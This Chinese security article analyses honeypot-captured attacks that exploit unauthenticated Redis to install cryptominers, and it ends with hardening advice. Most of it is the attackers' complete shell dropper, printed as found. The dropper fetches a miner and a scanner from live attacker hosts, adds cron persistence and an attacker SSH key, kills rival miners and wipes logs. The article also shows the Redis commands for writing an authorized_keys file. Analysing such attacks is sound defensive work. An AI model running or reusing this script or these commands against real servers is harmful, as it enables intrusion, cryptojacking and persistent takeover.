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一个有趣的利用redis未授权访问漏洞进行挖矿的分析及防范
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一个有趣的利用redis未授权访问漏洞进行挖矿的分析及防范
近期,分布式蜜罐再次捕捉到一些利用REDIS 未授权漏洞进行入侵的行为.
为了理解问题的严重性，我们设置了可公开使用的Redis服务器作为蜜罐，记录流量并对其进行分析。在不到24小时内，我们的服务器开始接受到大批的恶意攻击 - 漏洞扫描，简单的加密挖掘感染和加密挖掘蠕虫，就像RedisWannaMine 那样。
一 . 利用原理分析
攻击原理非常简单 - 攻击者在内存中设置一个键/值对，然后将其保存到磁盘中的文件中，该位置将强制文件运行（例如/ etc / crontabs，/ var / spool / cron / crontab等）。
49.234.81.16:53038 已经连接 ping config set flushall config set set 1 */1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh config set save config set save config set save config set config set flushall
攻击者先尝试对不设置密码的redis或者若密码的redis服务器进行连接,然后执行脚本,创建定时任务.
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"
kill_miner_proc()
{
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno
pkill -f jweri
pkill -f lx26
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f polkitd
pkill -f nanoWatch
pkill -f zigw
pkill -f devtool
pkill -f systemctI
pkill -f WmiPrwSe
pkill -f sysguard
pkill -f sysupdate
pkill -f networkservice
crontab -r
rm -rf /var/spool/cron/*
}
downloads()
{
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
curl --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi
}
kill_sus_proc()
{
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
}
kill_miner_proc
kill_sus_proc
if [ -f "$rtdir" ]
then
echo "i am root"
echo "goto 1" >> /etc/sysupdate
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
fi
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
cfg="/etc/config.json"
file="/etc/sysupdate"
if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi
if [ -f "/etc/sysupdate" ]
then
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi
if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi
downloads $sh_url /etc/update.sh $sh_url_backup
if [ -f "/etc/networkservice" ]
then
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi
chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
./networkservice &
else
echo "roots runing....."
fi
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
echo "goto 1" > /tmp/sysupdates
chattr -i /tmp/sysupdate*
chattr -i /tmp/networkservice
chattr -i /tmp/config.json*
chattr -i /tmp/update.sh*
if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
fi
if [ -f "/tmp/config.json" ]
then
filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
if [ "$filesize1" -ne "$config_size" ]
then
pkill -f sysupdate
rm /tmp/config.json
downloads $config_url /tmp/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /tmp/config.json $config_url_backup
fi
if [ -f "/tmp/sysupdate" ]
then
filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /tmp/sysupdate
downloads $miner_url /tmp/sysupdate $miner_url_backup
else
echo "no need download"
fi
else
downloads $miner_url /tmp/sysupdate $miner_url_backup
fi
if [ -f "/tmp/sysguard" ]
then
filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /tmp/sysguard
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
fi
echo "i am here"
downloads $sh_url /tmp/update.sh $sh_url_backup
if [ -f "/tmp/networkservice" ]
then
filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /tmp/networkservice
downloads $scan_url /tmp/networkservice $scan_url_backup
else
echo "no need download"
fi
else
downloads $scan_url /tmp/networkservice $scan_url_backup
fi
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmp runing"
cd /tmp
chmod 777 sysupdate
sleep 5s
./sysupdate &
else
echo "tmp runing....."
fi
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 networkservice
sleep 5s
./networkservice &
else
echo "tmps runing....."
fi
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "tmps runing....."
fi
chmod 777 /tmp/sysupdate
chattr +i /tmp/sysupdate
chmod 777 /tmp/networkservice
chattr +i /tmp/networkservice
chmod 777 /tmp/sysguard
chattr +i /tmp/sysguard
chmod 777 /tmp/update.sh
chattr +i /tmp/update.sh
chmod 777 /tmp/config.json
chattr +i /tmp/config.json
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
攻击者通常设置包含下载外部远程资源并运行它的命令的值。比如还可以添加SSH密钥，攻击者可以远程访问服务器并将其接管.
远程下载脚本更新.
直接查找别的挖矿进程并尝试结束他们.
利用cron设置定时任务, 并利用authorized获得登陆权限 ,
是不是很有趣!
对外公开的蜜罐24小时内监测到90000多次的来自大量的IP针对redis服务的恶意尝试,利用的方式大同小异, 首先连接后,利用通过ssh-keygen创建一对秘钥, 再利用公钥生成攻击键值, (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt , 
再配置Key到Redis中, cat foo.txt |redis-cli -h 117.20.**.** -x set bar
再通过Redis保存机制替换系统文件.
> config set dir /root/.sshOK
> config get dir1) "dir"2) "/root/.ssh"
> config set dbfilename "authorized_keys"OK
> save
> exit
二 . 利用redis未授权漏洞入侵的一些必要的条件:
(1)需要开放的redis服务对外开放.Redis的密码不能过于复杂，或者没有密码；
(2) redis服务最好是以root用户运行,破坏力更强;
三 redis未授权访问漏洞的危害
(1).redis里保存的数据泄露
(2). 被提权后控制整个主机
四. 如何防范redis未授权漏洞被利用
为了保护Redis服务器免受此类攻击的伤害，建议管理员永远不要将其服务器暴露给Internet，但如果需要，请应用身份验证机制以防止未经授权的访问。
另外，由于Redis不使用加密技术并以纯文本形式存储数据，因此您绝不应将敏感数据存储在这些服务器上。
防范的思路如下：
(1)Redis不要监听在危险IP上，如果有请加网络防火墙规则控制；
(2)Redis一定要增加密码限制，且绝对不能是弱口令；
(3)LINUX 系统下Redis尽量不要用Root用户身份来启动。Windows系统下不要以system权限运行
------end---------------------------------
本文为 Glocksec 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
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